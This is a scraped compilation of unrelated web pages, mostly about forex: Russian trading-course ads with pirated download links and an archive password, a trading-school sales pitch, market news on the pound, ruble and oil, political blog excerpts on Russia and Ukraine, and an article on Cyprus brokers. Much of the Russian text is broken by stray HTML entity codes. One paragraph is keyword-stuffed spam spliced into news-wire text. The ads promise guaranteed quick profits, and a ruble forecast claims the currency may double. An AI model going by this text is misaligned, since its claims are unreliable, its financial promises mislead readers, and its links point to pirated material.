​Онлайн тренинг Быстрые деньги & # 1085; & # 1072; Финансовых рынках (Standart) Как & # 1089; & # 1087; & # 1084; & # 1086; & # 1097; & # 1100; & # 1102; всего несколько торговых паттернов можно обеспечить себе неиссякаемый источник прибыли & # 1085; & # 1072; рынке ¿Forex? На этот вопрос вам ответит опытный профессиональный трейдер & # 1080; ваш наставник & Ndash; Владислав Гилка вместе со своим коллегой Михаилом Левченко. Цель видео курса Быстрые деньги & # 1085; & # 1072; Финансовых рынках: дать те главные приемы & # 1080; техники торговли, благодаря которым вы получите гарантированный быстрый результат. & # 1063; & # 1090; & # 1086; конкретно вы получите после прохождения тренинга «Быстрые деньги & # 1085; & # 1072; & # 1092; & # 1085; & # 1072; & # 1085; & # 1089; & # 1086; & # 1074; & # 1099; & # 1093; рынках»: · 3 абсолютно уникальных паттерна & # 1076; & # 1083; & # 1103; & # 1088; & # 1075; & # 1086; & # 1074; & # 1083; & # 1080; · Грамотные техники риск-менеджмента & # 1076; & # 1083; & # 1103; правильного распределения финансов между несколькими торговыми стратегиями. · Освоите правильное понимание новостей и, благодаря этому, будете понимать & # 1080; правильно реагировать & # 1085; & # 1072; всевозможные новости. · Научитесь правильному анализу своих сделок. Авторы: Владислав Гилка, Михаил Левченко Дата проведения: январь 2013 Офф. сайт: http://trading-sys. com/fmforex/ Год выпуска: 2013 Стоимость: 6700р Cкачать тренинг Быстрые деньги & # 1085; & # 1072; Финансовых рынках пакет Standart: http://f-bit. ru/129764 Пароль & # 1085; & # 1072; архив: forexhack. ru


Внутридневная & # 1088; & # 1075; & # 1086; & # 1074; & # 1072; & # 1103; методика «Мега FOREX Скальпер» Видеокурс & # 1086; & # 1090; Владислава Гилки, который шел бонусом & # 1082; новогоднему комплекту. Описание: C помощью данной методики вы можете пролучать приличную прибыль & # 1085; & # 1072; рынке & # 1060; & # 1088; & # 1077; & # 1082; & # 1089; ежедневно! Об этой стратегии знает только небольшой круг людей. До этого дня она была закрыта & # 1086; & # 1090; посторонних глаз. Автор: Владислав Гилка Сайт: http://market. trading-sys. com/salle2012 Год выпуска: 2012 Стоимость: 100$ Скачать внутридневную торговую методику Мега & # 1092; & # 1086; & # 1088; & # 1077; & # 1082; & # 1089; Скальпер: http://yadi. sk/d/Ko-urIK-3mZLm


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Так почему же люди, столь успешные в иных сферах деятельности, терпят сокрушительные поражения в трейдинге? И вообще, успешными трейдерами рождаются или становятся? Ответ Марка Дугласа на это вопрос однозначен: успешными трейдерами становятся . Согласно его мнению, человеку необходимо овладеть трейдерским складом мышления. Когда речь заходит о трейдинге, то становится бесполезным все то, что на протяжении многих лет помогало получать высокие оценки в школе, продвигаться вверх по карьерной лестнице и выстраивать отношения с другими людьми. Оказывается, трейдеры должны научиться мыслить категориями вероятностей, пожертвовав при этом всеми навыками, наработанными для достижения успеха во всех других сферах жизни. "(Торн Харт)


К вероятностному мышлению необходимо добавить также стратегическое мышление успешного трейдера.


Причины, по которым 95% трейдеров проигрывают, можно отнести к четырём областям:


Отсутствие вероятностного и стратегического мышления.


Отсутствие торговой системы с положительным математическим ожиданием.


Отсутствие управления рисками и капиталом.


Отсутствие навыка торговли.


Почему некоторые люди почти всегда зарабатывают деньги на фондовых биржах и рынке форекс?


Ответ прост - у них есть конкурентное преимущество в виде торговой системы и они всегда рассчитывают риски до входа в сделку.


Если Ваша цель - стабильная и прибыльная торговля, дающая свободу и независимость, тогда настройтесь на серьёзную и плодотворную работу, итогом которой станет трансформация сознания и обретение навыка успешной торговли.


Существует несколько простых правил, которые позволяют быстро и эффективно перейти на вероятностное и стратегическое мышление успешного трейдера.


На этом пути Вашим наставником станет школа трейдеров "USSR-55", а если говорить конкретно, - Вашим наставником буду я, Подлуцкий Александр Владимирович.


Опыт собственной торговли, который позволил мне создать прибыльную торговую систему "USSR-55", 4-х летний опыт преподавания в компании "Открытый форекс" и в Высшей школе трейдеров компании Альпари позволяет мне делать это профессионально.


Школа трейдеров "USSR-55" - это авторское обучение трендовой торговой системе форекс с положительным математическим ожиданием, это освоение конкретного алгоритма входа и определение точки выхода на базе торговой системы "USSR-55", это управление риском, освоение психологии и мышления успешного трейдера, это навык успешной торговли. Обучение одинаково полезно как начинающим трейдерам, так и трейдерам, имеющих опыт негативной торговли.


С учётом того, что самостоятельное создание и тестирование торговой системы занимает не менее года, а на полное освоение готовой торговой системы "USSR-55" потребуется не более трёх месяцев, - Вы экономите 9 месяцев своего времени и несколько тысяч $ не слитых депозитов.


Информация, которая поможет Вам принять окончательное решение по обучению.


Бесплатная 30 минутная консультация по ошибкам трейдинга.


Бесплатное первое занятие по торговой системе "USSR-55".


Скидка 10% от стоимости обучения для трейдеров, купивших мою книгу "Стратегия и тактика торговли. Трендовая торговая система "USSR-55".


И ещё одна возможность бесплатно использовать мои знания и опыт - анализ ошибок трейдинга! Без всякого сомнения, такой анализ есть наиболее эффективный и единственно возможный способ создания прибыльной торговой системы.


Откройте счет в компании Альпари и получите бесплатный анализ ошибок.


Навык успешной торговли на всех финансовых рынках вырабатывается только на базе торговой системы с положительным математическим ожиданием и Дисциплины. Других путей нет. Наработка навыка самостоятельно, методом проб и ошибок, обычно приводит к закреплению алгоритма негативной торговой системы "Слей депозит здесь и сейчас" на уровне подсознания у 95% начинающих трейдеров.


Вы не исключение. Я тоже был о себе очень высокого мнения, пока не столкнулся с реальным рынком.


Обучение форекс самостоятельно можно и нужно начинать с изучения технического и фундаментального анализа, терминала МТ4, управления рисками и капиталом, психологии, однако, приступать к формированию навыка без торговой системы настоятельно не рекомендую - это путь планктона, которым питаются финансовые киты. Проверено на собственном опыте и опыте сотен учеников.


Я называю первые шаги начинающих трейдеров "Горе от ума" по одной причине: на рынок приходят далеко не дураки (плюс амбиции) и такие интеллектуально развитые люди искренне верят, что знания позволяют успешно торговать, - чем больше знаешь, тем лучше торгуешь. Это не так. Знания нужны для формирования базового фундамента, а затем, на этой базе создаётся алгоритм торговой системы.


Алгоритм торговой системы USSR-55 построен на упрощенном волновом анализе Эллиотта, свечном анализе Мунехисы Хоммы, индикаторном анализе (в основном это волатильность и объёмы) и уровнях поддержки и сопротивления, на которых возникает явление справедливой цены.


Основанием для такой тактики служит вероятностное мышление, стратегическое мышление в виде синтеза разных элементов технического анализа и синтеза таймфреймов и понимание психологии успешного трейдера в виде навыка прибыльной торговли, т. е. перевода знаний на уровень подсознания, на уровень интуитивной подсознательной психической деятельности.


Школа трейдеров "USSR-55" - это абсолютно иной взгляд на рынок форекс. Трендовая торговая система "USSR-55" основана на импульсном движении цен, а импульсные системы имеют одно отличительное и весьма необычное, но вполне конкретное свойство. Это свойство нужно увидеть, а для этого необходимо создать понятийный аппарат или показать на реальном рынке. Что и делается в первой Торговой системе форекс "USSR-55".Торговая система работает на любых финансовых рынках, где можно применять технический анализ, а не только на рынке форекс.


Обучение основано на поиске конечных точек, а затем определении разворотных уровней. Работа ведётся по трём экранам. В торговой системе используются такие элементы анализа, как волны Эллиотта, японские свечи, зигзаг со сменой уровня, объёмы и волатильность, модели скользящих средних.


Вы научитесь простой и прибыльной стратегии форекс и чёткому алгоритму максимально простой торговой системы форекс "СССР-55" в рамках этой стратегии.


Фактически, я обучаю трём основным вещам: во-первых, стратегическому мышлению, т. е. умению видеть структуру рынка, во-вторых, тактике определения точки входа, мониторинга и, главное, определения точки выхода на базе торговой системы, в-третьих, навыку успешной и стабильной торговли, позволяющей получать прибыль в среднем в каждой сделке.


"USSR-55" - трендовая торговая система, основанная на разворотных точках, в которой используется склонность большинства рынков к образованию трендов - единственное надежное свойство для использования в торговле на рынке Форекс. Подробнее о системе "USSR-55"


Многолетний собственный опыт аналитической работы и торговли позволил автору выявить фундаментальное и единственно надежное свойство рынка, которое неизменно приводит к возникновению импульсного движения цены в виде тренда в конкретной точке входа, и на основании этого свойства построить ТС "USSR-55


Попросту говоря, "рынок есть мера массовой психологии". а массовой психологии присущи закономерности, т. е. она обладает инерционностью. Задача торговой системы заключается в умении определить момент возникновения инерционности, другими словами, тренда. Я смог достаточно надёжно выполнить эту задачу и записать решение в виде алгоритма торговой системы. Истина, как и полагается ей, лежит на поверхности, ясно указывая единственно верное направление. Моя основная задача - указать Вам на эту истину.


Об этом свойстве, не пишут в технической литературе, Вам никто о нем не расскажет на форумах и только 5% успешных трейдеров пользуется им интуитивно.


Это свойство настолько глубоко присуще всем трендовым движениям, что на его основе возможно создать бесконечное число торговых систем, сообразно темпераменту и предпочтениям трейдера.


Перед Вами яркий пример использования этого свойства во внутри дневной торговле на паре EURUSD 10.01.2013 года. Конечный итог - прибыль в 187 пунктов.


Понимаете ли Вы вполне ясно о каком конкретно свойстве идет речь?


Если нет - тогда жду Вас в моей школе.


Успешная торговля состоит из двух составляющих: сознательная и подсознательная.


К первой области относятся технический и фундаментальный анализ, обретённый самостоятельно или на курсах forex.


Практически любой человек способен овладеть техническими и фундаментальными знаниями рынка Форекс.


Ко второй части успешной торговли относится мастерство, которое нарабатывается годами. Мастером невозможно стать, изучив только техническую составляющую. Это способность чувствовать рынок, интуиция, предвидение. Без чувства рынка количество ошибок многократно повышается, ведь рынок - это не просто набор точных правил, это массовая психология, где возможно все и даже то, что в принципе невозможно.


Есть позитивная новость: успешная торговля возможна и без мастерства - на основании торговой системы с положительным математическим ожиданием и жесткой дисциплины. Так торгует основная масса профессионалов первых лет работы.


Ежедневная торговля с использованием Торговой Системы и ясное понимание того, что мастерство приходит не сразу, но обязательно приходит к тем, кто к делу относится "с душой", превратит Вас, в конечном итоге, в успешного трейдера.


Стоит сказать, что с технической точки зрения торговля на рынке не самая сложная задача. Правильное мышление успешного трейдера, психология - вот где лежат главные причины успеха или неудачи. В силу этого, освоению этих элементов торговой системы в программе обучения отведено два занятия из пяти.


Обучение в школе "USSR-55" максимально ускорит и упростит процесс Вашего становления как профессионала и максимально поможет двигаться к мастерству и интуитивному пониманию рынка.


Человечество пока не придумало более эффективного способа обучения, чем индивидуальное обучение в мастерской, где происходит передача не только глубоких знаний, но и воздействие на глубоком подсознательном уровне.


Школа трейдеров "USSR-55" стремится передать все уровни знаний. Этот этап передачи секретов мастерства просто неизбежен.


Впитайте систему, доверьтесь ей, заработайте первоначальный капитал и затем доработайте ее в соответствии со своей психологией, со своим видением мира, со своими задачами. Станьте соавтором.


Школа трейдеров - "USSR-55" ждёт Вас. Пора превращаться в профессионалов.


С уважением, Александр Подлуцкий


Кто зарабатывают деньги на фондовых биржах и рынке форекс?


Трейдеры, у которых есть конкурентное преимущество в виде торговой системы и которые всегда рассчитывают риски до входа в сделку.


Об этом моя книга "Как стать успешным трейдером. Стратегия и тактика торговли".


Подробный алгоритм ТС USSR-STS изложен моей книги.


Покупая книгу за 250 рублей, Вы получаете торговую систему "USSR-STS" и скидку 10% на обучение торговой системе "USSR-55"


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Форекс форум mt5.com - Введение. Рынок Форекс / Forex является высокодоходным и высокорискованным средством извлечения прибыли от сделок по валютным курсам. Используемые инструменты работы на рынке Форекс во многом определяют результат валютной торговли участниками рынка Форекс - клиентами брокеров. Каждый Форекс брокер предлагает свой терминал, однако большинство брокеров и трейдеров рынка Forex сходятся сегодня в своем выборе терминалов MetaTrader 4 и MetaTrader 5. Данный форум создан для тех, кто выбирает в своей Форекс торговле терминал семейства MetaTrader.


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Форекс форум mt5.com - общение с брокерами и трейдерами (про брокеров). Если вы имеете негативный или положительный опыт работы с Форекс-брокером - поделитесь им в Форекс-форуме, посвященном вопросам качества торговых услуг Forex-брокеров. Вы можете оставить отзыв о вашем брокере, рассказав о преимуществах или недостатках торговли на Форекс через него. Совокупность отзывов трейдеров о брокерах представляет собой своеобразный рейтинг Форекс брокеров. В этом рейтинге вы можете видеть лидеров и аутсайдеров рынка услуг трейдинга на Forex.


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UK Services PMI rises to 55.9 but GBP/USD weakens


Finally some good news from the UK: the services PMI for November advanced to 55.9 points, better than 55 expected.


GBP/USD doesn’t really budge and remains depressed. The move seems more related to a strengthening of the US dollar rather than outright weakness in the pound.


The low so far has been 1.4904. The euro is also sliding against the dollar.


Markit was expected to report a small rise in the purchasing managers’ index for the services sector: from 54.9 to 55 points. This is the largest sector in the UK, and the publication has the biggest impact.


GBP/USD traded around 1.4930 towards the release


Earlier in the week, both the manufacturing and the construction PMIs disappointed. Together with hawkishness from the Fed and some stop-loss triggering, we had a collapse of GBP/USD .


Support awaits at 1.49 with real support only at 1.48. Resistance is initially at 1.4950, followed by 1.50 and 1.5060.


The Bank of England has been dovish lately, contrary to the hawkish Fed. However, markets still expect the BOE to raise rates after the Federal Reserve does.


Aquí está el gráfico:


sobre el autor


Yohay Elam – Founder, Writer and Editor


I have been into forex trading for over 5 years, and I share the experience that I have and the knowledge that I’ve accumulated. After taking a short course about forex. Like many forex traders, I’ve earned the significant share of my knowledge the hard way. Macroeconomics, the impact of news on the ever-moving currency markets and trading psychology have always fascinated me.


Before founding Forex Crunch, I’ve worked as a programmer in various hi-tech companies. I have a B. Sc. in Computer Science from Ben Gurion University. Given this background, forex software has a relatively bigger share in the posts.


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Category Archives: Russia & Former USSR


Winston Churchill, denouncing the Munich Agreement in the House of Commons, declared:


“We have suffered a total and unmitigated defeat … you will find that in a period of time which may be measured by years, but may be measured by months, Czechoslovakia will be engulfed in the Nazi régime. We are in the presence of a disaster of the first magnitude … we have sustained a defeat without a war, the consequences of which will travel far with us along our road … we have passed an awful milestone in our history, when the whole equilibrium of Europe has been deranged, and that the terrible words have for the time being been pronounced against the Western democracies: “Thou art weighed in the balance and found wanting”. And do not suppose that this is the end. This is only the beginning of the reckoning. This is only the first sip, the first foretaste of a bitter cup which will be proffered to us year by year unless by a supreme recovery of moral health and martial vigour, we arise again and take our stand for freedom as in the olden time.”


On 3 October 1938, Churchill added:


“England has been offered a choice between war and shame. She has chosen shame, and will get war.”


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From Paul Goble:


Staunton, August 11 – Up to now, Ukraine has made “a serious error” by trying to negotiate with Russia about the Donbas, Bogdan Yeremenko [former Ukrainian diplomat] says. What it should be doing is devoting all its efforts to isolating Russia internationally. That will have far more impact on Moscow’s behavior than any talks Ukraine might have with it……


Up to now, Russia has acted more effectively than Ukraine by “imposing its will and taking the initiative both on the battlefield and at the negotiating table.” Ukraine in contrast “has held fast to a disastrous strategy responding with diplomacy to armed aggression and reducing the opportunities of its own Armed Forces.”


“…..Diplomatic efforts ought to be concentrated not on talks with Russia but on the creation for it of an uncomfortable foreign policy environment and the resolution of practical issues of securing the defense capacity of the country.”


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From Michael Weiss:


…..“These wealthy oligarchs all come to London because it’s a really good place to put your money,” Simon Farrell QC, a British attorney who specializes in corporate crime and money laundering, told The Daily Beast. “It’s a fantastic place to hold property because it’s a secure democracy where the rule of law is taken seriously, where the judiciary is not corrupt and where you can trust the legal profession. In many parts of the world the super-rich can’t be sure that their assets will be safe.”


Indeed, London has now earned the unflattering designation of the world’s No. 1 money-laundering capital, with an estimated $1 billion pouring in each month…..A stunning £122 billion in real estate in England and Wales is held be companies registered outside England and Wales, according to Global Witness….


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Long-term June 2017 Nymex Light Crude futures (CLM2017) broke support at $60/barrel, offering a target of $54/barrel*.


* Target calculation: 60 – ( 66 – 60 ) = 54


In the short-term, September 2015 futures (CLU15) are testing support at their March low of $50/barrel. Breach is likely, given the long-term down-trend, and would offer a target of $40/barrel*.


* Target calculation: 50 – ( 60 – 50 ) = 40


Declining prices will hurt the Energy sector in the short/medium-term, but the benefit to the broader economy will outweigh this in the longer term. Lower fuel prices will especially benefit the Transport sector. Highly industrialized exporters like Germany, Japan, China and the broader EU, will also benefit. While oil exporters like Russia, Iran, the Middle East, Nigeria, Angola, Venezuela, and to a lesser extent Norway, face hard times ahead.


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From Brian Whitmore at RFERL:


….War is politics by other means and the Kremlin’s goals in Donbas are ultimately political.


Vladimir Putin may have once dreamed of seizing all of what his propagandists call Novorossia — the strip of land from Kharkiv to Odesa — and establishing a land bridge to Crimea.


But that’s off the table now and he is clearly not interested in annexing the war-ravaged and economically devastated enclaves his separatists currently hold.


“The Kremlin, for its part, is losing interest in the armed conflict it helped create: It wants to move on from military interference in Ukraine to quieter political destabilization,” political commentator Leonid Bershidsky wrote in Bloomberg View.


….If you want to see Ukraine’s future under this scenario, just look at Bosnia.


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“Why do our “best and brightest” fail when faced with a man like Putin?” Ralph Peters asks. “Or with charismatic fanatics? Or Iranian negotiators? Why do they misread our enemies so consistently, from Hitler and Stalin to Abu Bakr al-Baghdadi, the Islamic State’s self-proclaimed caliph?”


The answer is straightforward:


Social insularity: Our leaders know fellow insiders around the world; our enemies know everyone else.


The mandarin’s distaste for physicality: We are led through blood-smeared times by those who’ve never suffered a bloody nose.


And last but not least, bad educations in our very best schools: Our leadership has been educated in chaste political theory, while our enemies know, firsthand, the stuff of life.


Above all, there is arrogance based upon privilege. For revolving-door leaders in the U. S. and Europe, if you didn’t go to the right prep school and elite university, you couldn’t possibly be capable of comprehending, let alone changing, the world…….


That educational insularity is corrosive and potentially catastrophic: Our “best” universities prepare students to sustain the current system, instilling vague hopes of managing petty reforms.


But dramatic, revolutionary change in geopolitics never comes from insiders. It’s the outsiders who change the world.


An Athenian general once wrote:


The state that separates its scholars from its warriors will have its laws made by cowards, and its fighting done by fools.


Thucydides (c. 460 BC – c. 400 BC)


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Forex club team novokuznetsk ussr flag logo


It is due on August 24 and 25. Yakhnovets An army that is mobile, well equipped, trained, and adequate to repel aggression. The refugees were also off ered houses in the Zugdidi district in the west of Georgia, but they refused to leave Tbilisi, the spokesman said. Yakhnovets The greatest capital here is the people. All of this the agitation and propaganda section boiled down to the rynda. Inquiries regarding use may be directed to NTIS, US Dept. But I will risk presuming that, even without the crisis, the scenario of relations of Moscow and the Western capitals would still have been similar. Description of Source: Moscow ITAR-TASS in English - Main government information agency Material in the World Www supporto anyoption complaints form uk Connection is generally copyrighted by the source cited. Of course, the world financial crisis played a big role. An exchange of views took place on the course of the Dniester conflict settlement negotiation process, on the prospects for a resumption of official meetings in the "5+2" format Moldova and forex club team novokuznetsk ussr flag logo Dniester region as conflict parties, Russia and Ukraine as guarantor countries, the OSCE as mediator and the EU and U. The largest country on the planet, its lands cross several time zones and stretch from Europe all the way to the edge of North America. Tatarstan's president is expected to have a meeting with Belarus' President Alexander Lukashenko. This network was involved in most cases of stealing financial information, which forex club team novokuznetsk ussr flag logo reported to law enforcement authorities, the source said. Without a shad e of irony. The Kyrgyz Prosecutor General's office said earlier that a forum option time decay strategy formulation of criminal cases were being launched against former leaders of the Development Fund, including cases based on charges of abuse of office and the misuse of a government loan. Yakhnovets The proposal came from the president of South Ossetia a month ago. Bouthaina Shaaban, political adviser to the President of Syria, to discuss the situation in the country, and relations with the West. The government is forecasting consumer prices will grow 8%-10% this year. Inquiries regarding use may be directed to NTIS, US Dept. Permission for use must be obtained from the copyright holder. Alexander Zelin told journalists on Iqc optionsxpress commodities.


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The Roslesozashchita state forest protection service confirmed on Wednesday that 28 fires were reported in the contam inated Bryansk region on an area of 269 hectares on August 6 alone, including 12 fires on an area of nine hectares in the region's southwestern sector.


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To truly understand the mind-set that brought about some of the most cleaver military innovations the world has seen between the 1950s and 80s, one must understand the life-style in the USSR at this time. The genesis behind these innovations was one of survival and domination. All efforts and technologies were directed at development of the best possible military designs. Current life in the USSR during this time period was not one of posh casinos, large screen TVs and Japanese “boom-boxes”! The focus was on superior military might… at any cost. We had our top engineering minds tirelessly working on war machine-monsters. All of these designs years ahead of their time compared to the reset of the world.


When focusing on the development of USSR Military Vehicles one fundamental requirement was that they operate reliably anywhere on the globe. They needed to perform in the hot sands of Kazakhstan to the mountains of Tajikistan. On the roads of the Far North, in impenetrable forests of Siberia. to the wetlands in Belarus!


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Russian Ruble Extends Losses on Ukraine, Central Bank's Forex Comments


Russian rouble and the U. S. dollar bank notes are seen in this illustration picture taken in Moscow.


Maxim Zmeyev / Reuters


A slide in the ruble accelerated on Thursday after the Russian Central Bank said its policy of replenishing forex reserves would continue over several years until the reserves had reached pre-crisis levels.


The Russian currency was also weighed down by a further slide in the international oil price and by Wednesday's bout of heavy fighting in eastern Ukraine, which has cast serious doubt on the durability of February's peace deal.


At 15:40 GMT, the ruble was 3 percent weaker against the dollar at 55.99 after losing nearly 3 percent in the previous session on news the Ukrainian conflict had escalated.


The ruble also lost 2.9 percent to trade at 63.00 versus the euro.


Central Bank Governor Elvira Nabiullina said on Thursday that the bank plans to increase its gold and forex reserves to $500 billion, from a current $356.5 billion, over the next few years.


The bank has previously said that it plans to buy $100 million to $200 million each day, a pace that implies it will drain $25-50 billion from the forex market each year.


Deputy Governor Dmitry Tulin said that the bank envisaged reaching its target of $500 billion in three to five years, implying that the replenishment will continue at around the current pace.


Ukrainian troops and pro-Russian separatists on Wednesday fought their first serious battles in months, with both sides accusing the other of provoking the escalation.


"A nearly forgotten factor has returned to the market: geopolitics," Alena Afanasyeva, a senior analyst at Forex Club investment house in Moscow, wrote in a note. "For now, this factor will be decisive for the ruble's dynamics."


The ruble was also weighed down by a steep fall in the oil price, with international benchmark Brent down 2.5 percent to $62.20 per barrel, a day before OPEC meets to discuss production limits.


Russian stock indexes were mixed, with heavy losses in the dollar-denominated RTS index, which is dragged down by a weaker ruble.


The RTS was down 2.8 percent to 920 points and its ruble-based peer MICEX was up 0.5 percent to 1,637.


« форекс коррекция » в картинках


Японские свечи: графический анализ финансовых рынков | Стив Нисон .


Зарабатывай на Forex . Форекс коррекция. startforex. com. FOREX -


Обзор на 15.01.2013 Харьковский Дилинговый Центр форекс . forex .


Расширения и коррекции Фибоначчи на Форекс . | tvoy-


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01.04.2013 г. Весь негатив по Еврозоне, вероятно, рынок уже .


Австралия / Поиск по тегам / Blogberg.


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Brexit Deal Could Bring a Bid to GBP


Fundamental Forecast for British Pound: Bullish


Retail short positions jumped in GBP/USD ahead of the EU Summit in anticipation of a British exit from the EU. Reports are circulating that a deal has been reached between Mr. Cameron and EU politicians, and now Mr. Cameron will take that more favorable deal to British voters in a referendum to be held later in the year (could be as early as June).


This increased short positioning in GBP going into the summit could lead to sharp moves higher on cover after reports of a deal being struck without prolonged negotiations.


To stay up with positioning in GBP, check out and follow our Speculative Sentiment Index.


Dominating the headlines for the foreseeable future in the UK will be the prospect of a ‘Brexit,’ or a British exit from the European Union. This has been over three years in the making. In 2013, the Prime Minster of the UK, Mr. David Cameron, pledged that should conservatives take a parliamentary majority in the 2015 elections, the UK government would negotiate more favorable terms for continued EU-membership before holding a referendum in which residents of the UK could vote on the matter. Conservatives took a majority in those elections and Mr. Cameron reiterated his pledge to hold an ‘in-out’ referendum before the end of 2017, and here we are.


Mr. Cameron and the British government are in the process of trying to negotiate those more favorable terms right now. The UK government wants concessions for continued membership in the EU and it makes sense, given the unique geographic disposition and economic influence for/of the United Kingdom; but member states of the European Union are balking at the idea of giving special treatment to any individual member, arguing that it negates the veracity of the union to allow for special treatment to any individual nation.


Once those more favorable terms are agreed upon (or even if they’re not), a referendum will be held in which the British citizens get to vote on the matter and this is likely where the major volatility will emanate from. For right now we’re merely discerning probabilities of continued membership based upon the negotiations taking place between the UK and European governments.


There are numerous issues at bay. Key of which is the topic of migration, which is somewhat of a sore spot in Europe right now. The UK has 3 million EU nationals in-country with roughly 2/3rds employed, while having only 1.3 million expats living in the EU. While this deviation of approximately 1.7 million people might sound small when compared to American or Chinese populations, we have to keep in mind that this constitutes approximately 2.65% of the UK population.


This topic is being addressed in the negotiations through an extension of in-work benefits to European migrants, referred to as the ‘emergency brake.’ Mr. Cameron wants a four-year ban (which isn’t even really a full ban, as benefits would be incrementally earned based on taxes paid), and much of Europe considers this discrimination against European nationals. Given the current migrant crisis raging throughout Europe, threatening the very same Schengen agreement that provides the glue of the union, thinking this through on the part of the UK is probably pretty timely. Former Soviet Countries of Poland, Hungary and the Czech Republic all argue that this type of ban could be further applied to Germany and Austria, and if that happens, what is the point of having a union at all?


On the other hand, the trade ties between the UK and EU are significant and severing or ‘modifying’ this relationship could have a negative impact. Roughly 45% of exports and 53% of UK imports transact with Europe. Roughly 3.4 million British jobs are supported by this industry; and for a country with a population of 64.1 million people, again, this is significant; approximately 5.3% of the British population.


As of 4:09 PM Eastern Time on Friday afternoon, the Lithuanian president tweeted a message that a deal has been reached in which Britain will receive a 7-year emergency break. This hasn’t yet been confirmed and more details are not available at the time of writing, but this doesn’t close the matter as now Mr. Cameron has to sell this to British voters.


In the near-term, this could be GBP positive as fears of a Brexit on the back of stalled negotiations had driven the Sterling lower. Longer-term will depend on British voters. For now, we take a bullish forecast on GBP moving into next week, and will review as more information on negotiations and a potential Brexit become available.


DailyFX provides forex news and technical analysis on the trends that influence the global currency markets. Learn forex trading with a free practice account and trading charts from FXCM.


The Russian Ruble Price Forecast for 2016


Russia has always been an oddity in the world of international politics post world war 2. The reason for this is simply the enormous size of the Russian nation. It is neither in Asia nor in Europe, yet the parts of it that reside in Asia and Europe are so massive by themselves that if Russia was to entirely belong to either of these continents, the continent losing Russia would lose half of its square mileage, such is the vast enormity of what Russia is.


Also, since the fall of the Soviet Union, Russia has been unable to emulate its former strength and glory, which means that its representation in the realm of global politics has been underwhelming to say the least, at least compared to the size of the country itself and the immense portion of the overall size of the world that it comprises.


Russia has been unable to fully join the Eurozone due to its immense presence in Asia, and its currency has been constantly undermined by the dollar, which has lead it to resort to some pretty drastic measures in order to bolster its economy and attempt to return its people to their glory days once more. As a result, the Russian Ruble is looking to greatly increase in value by the end of 2016, and by a large margin. The Russian ruble, if the economic forecasts are anything to go by, could double in value by the end of 2016, a leap in value so enormous that it is almost unprecedented, and so the economic implications will truly be something to behold, although whether they are going positive or negative is something that will only be seen when the time comes.


One of these measures that were implemented was the creation of a Eurasian economic union. This was seen as reactionary by critics of Russia’s financial policies, but its contribution to the appreciation of the Russian Ruble is something which simply cannot be denied, especially when the gains being made are so utterly vast that they are unprecedented.


Another economic policy implemented by Russia was the liquidation of dollar assets which were then used to purchase vast quantities of gold, quantities not purchased since the days of the Soviet Union. This, as well as an implementation of a Chinese credit card, were both policies that were put in place for the very purpose of destabilizing the American dollar’s utter dominance of the global currency market.


The shared economic agenda with China as well as the Eurasian economic union seems to have set Russia on the course for economic salvation. However, a rise in currency that is too abrupt could disrupt trade due to the devaluation of foreign currency, something that the Russian government would want to avoid, much to the despair of those eager investors who would be looking at the mouth watering appreciation and buying rubles in bulk in order to sell them off later for profit.


Why are there so many Forex Brokers in Cyprus


Anyone who has browsed a number of Forex comparison sites may have noticed that there are significant number of Forex brokers based in Cyprus. Today we are going to explain the reasons behind why so many Forex brokers choose the small island of Cyprus as a base for operations.


View The Top CySEC Brokers Choice


Being based in Cyprus has a number of benefits; one of the most obvious benefits is the low rate of corporation. The Cyprus boasts the European Union’s lowest rate of corporation tax. The rate of corporation tax on the island is currently a flat 10%. The only other European Union country to charge such a low rate of corporation tax is Bulgaria, which itself has seen a small influx of Foreign exchange brokerages in recent years. This makes Cyprus a very attractive destination for those who looking to open a brokerage, as company can reduce its overall tax bill significantly.


European Union Membership and MiFID


MiFID stands for the Markets In Financial Instruments Directive and is a European law that harmonises investment regulation throughout the 30 states of the European Economic Area. Essentially MiFID sets out a minimum regulatory framework which must be adopted and followed by all the countries in the European Economic Area. MiFID also maintained the passport principle introduced by previous European Union law, this principle means that a firm regulated in a MiFID country can offer its services to citizens and residents of other European Economic Area countries. Cyprus is a member of European Economic Area and the European Union, meaning that Cypriot based brokerages can offer their services to citizens of any other EEA country. While MiFID ensures a minimum standard of financial regulation, regulation does vary in each jurisdiction. For instance, Cyprus insures retail customer funds up to the amount of 20,000 Euros, while in Britain funds are insured up to £70,000 pounds should a regulated investment happen to collapse.


Large Financial Sector and Skilled Workforce


It is not only low taxes and European Union membership which attracts many retail brokers to Cyprus, the island also boasts a large financial sector. Low tax rates and a solid business saw Cyprus grow to be one of Europe’s larger financial hubs, with the financial services sector growing rapidly after the breakup of the USSR in 1991. This means that brokerages are able to recruit all the staff they need without too much hassle. A large retail FX brokerage requires a number of specialist staff including traders, risk managers and compliance staff. These specific needs leads to brokerages being drawn towards jurisdictions which have a strong financial services sector.


Internet & Telecoms Infrastructure


In addition to the other factors mentioned above, Cyprus already has a strong telecommunications infrastructure in place. While Cyprus doesn’t have Europe’s strongest internet infrastructure, in recent years Cyprus has vastly improved its telecoms infrastructure. The nation is currently in the process of making fibre-optic broadband available nationwide and fibre optic broadband is readily available in a number of urban locations including Nicosia, Larnaca and Limassol. One can easily imagine how important a strong telecoms infrastructure would be in running a serious Foreign exchange brokerage.


It has been suggested that the recent economic crisis in Cyprus might dent the islands reputation and lead to a flock of brokerages to move elsewhere, however this hasn’t been the case. This is mainly due to the fact that the crisis didn’t see any clients losing any of their deposited funds. The draw of Cyprus as a destination for Foreign exchange brokerages has been confirmed in recent months with a number of new brokers applying for licences. As long as Cyprus continues to offer competitive rates of corporation tax and remains a member of the European Union, the island is likely to be favoured by many Forex brokers.


View The Top CySEC Brokers Choice


2 thoughts on “ Why are there so many Forex Brokers in Cyprus ”


Thank you for that very informative article, which has clarified a lot of my doubts and concerns about Cyprus and some of the brokers I have had dealings with eg Trade Rush, as opposed to the “regulated’ other brokers that are being promoted as safer to deal with as far as account security and access to one’s capital at any time is concerned. Much appreciated, my regards, Frank L.


ALL CYPRUS FOREX PLATFORM ARE FRAUD. THEY PAY YOU INITIALLY BUT AFTERWARDS WHEN YOUR AMOUNT IS MORE THAN YOUR DEPOSIT THEY CLOSED YOUR PAYOUT. SO BEWARE OF ALL CYPRUS PLATFORMS.


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Historical Note:


